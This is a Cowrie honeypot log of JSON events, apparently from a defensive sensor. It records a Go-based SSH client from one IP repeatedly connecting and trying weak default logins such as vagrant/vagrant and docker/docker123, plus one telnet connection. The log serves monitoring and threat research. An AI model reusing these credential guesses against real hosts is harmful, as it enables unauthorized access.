{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:21.512697Z","src_ip":"45.156.87.253","session":"0505a506f273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48572,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f73c43fbb1","protocol":"ssh","message":"New connection: 45.156.87.253:48572 (10.17.0.5:22) [session: 64f73c43fbb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:23.177192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:23.180970Z","src_ip":"45.156.87.253","session":"64f73c43fbb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:23.261426Z","src_ip":"45.156.87.253","session":"64f73c43fbb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:23.503124Z","src_ip":"45.156.87.253","session":"64f73c43fbb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:24.586523Z","src_ip":"45.156.87.253","session":"64f73c43fbb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48588,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af1c5de03b1","protocol":"ssh","message":"New connection: 45.156.87.253:48588 (10.17.0.5:22) [session: 1af1c5de03b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:26.239777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:26.242878Z","src_ip":"45.156.87.253","session":"1af1c5de03b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:26.388530Z","src_ip":"45.156.87.253","session":"1af1c5de03b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:26.666308Z","src_ip":"45.156.87.253","session":"1af1c5de03b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:27.750654Z","src_ip":"45.156.87.253","session":"1af1c5de03b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59390,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff0059fac9b","protocol":"ssh","message":"New connection: 45.156.87.253:59390 (10.17.0.5:22) [session: 6ff0059fac9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:29.400692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:29.403532Z","src_ip":"45.156.87.253","session":"6ff0059fac9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":54380,"dst_ip":"10.17.0.5","dst_port":23,"session":"030808ac0a43","protocol":"telnet","message":"New connection: 72.167.226.244:54380 (10.17.0.5:23) [session: 030808ac0a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:29.415605Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:29.483894Z","src_ip":"45.156.87.253","session":"6ff0059fac9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:29.724947Z","src_ip":"45.156.87.253","session":"6ff0059fac9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:30.807328Z","src_ip":"45.156.87.253","session":"6ff0059fac9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59402,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddaad23f86e","protocol":"ssh","message":"New connection: 45.156.87.253:59402 (10.17.0.5:22) [session: 9ddaad23f86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:32.523315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:32.526996Z","src_ip":"45.156.87.253","session":"9ddaad23f86e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:32.608267Z","src_ip":"45.156.87.253","session":"9ddaad23f86e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:32.854887Z","src_ip":"45.156.87.253","session":"9ddaad23f86e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:33.948304Z","src_ip":"45.156.87.253","session":"9ddaad23f86e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59416,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba5604b3b04a","protocol":"ssh","message":"New connection: 45.156.87.253:59416 (10.17.0.5:22) [session: ba5604b3b04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:35.684619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:35.688478Z","src_ip":"45.156.87.253","session":"ba5604b3b04a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:35.769483Z","src_ip":"45.156.87.253","session":"ba5604b3b04a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:36.013239Z","src_ip":"45.156.87.253","session":"ba5604b3b04a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:37.121074Z","src_ip":"45.156.87.253","session":"ba5604b3b04a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ce4a77cce9","protocol":"ssh","message":"New connection: 45.156.87.253:59432 (10.17.0.5:22) [session: d4ce4a77cce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:38.866310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:38.869766Z","src_ip":"45.156.87.253","session":"d4ce4a77cce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:38.950507Z","src_ip":"45.156.87.253","session":"d4ce4a77cce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:39.349395Z","src_ip":"45.156.87.253","session":"d4ce4a77cce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:40.433078Z","src_ip":"45.156.87.253","session":"d4ce4a77cce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60292,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd216e33240","protocol":"ssh","message":"New connection: 45.156.87.253:60292 (10.17.0.5:22) [session: cdd216e33240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:42.164723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:42.168468Z","src_ip":"45.156.87.253","session":"cdd216e33240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:42.249814Z","src_ip":"45.156.87.253","session":"cdd216e33240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:42.494241Z","src_ip":"45.156.87.253","session":"cdd216e33240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:43.687784Z","src_ip":"45.156.87.253","session":"cdd216e33240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60302,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e4c47a01070","protocol":"ssh","message":"New connection: 45.156.87.253:60302 (10.17.0.5:22) [session: 2e4c47a01070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:45.277647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:45.281210Z","src_ip":"45.156.87.253","session":"2e4c47a01070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:45.365074Z","src_ip":"45.156.87.253","session":"2e4c47a01070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:45.611897Z","src_ip":"45.156.87.253","session":"2e4c47a01070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:46.697061Z","src_ip":"45.156.87.253","session":"2e4c47a01070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60326,"dst_ip":"10.17.0.5","dst_port":22,"session":"5537e0955302","protocol":"ssh","message":"New connection: 45.156.87.253:60326 (10.17.0.5:22) [session: 5537e0955302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:48.474827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:05:48.478403Z","src_ip":"45.156.87.253","session":"5537e0955302","protocol":"ssh"}
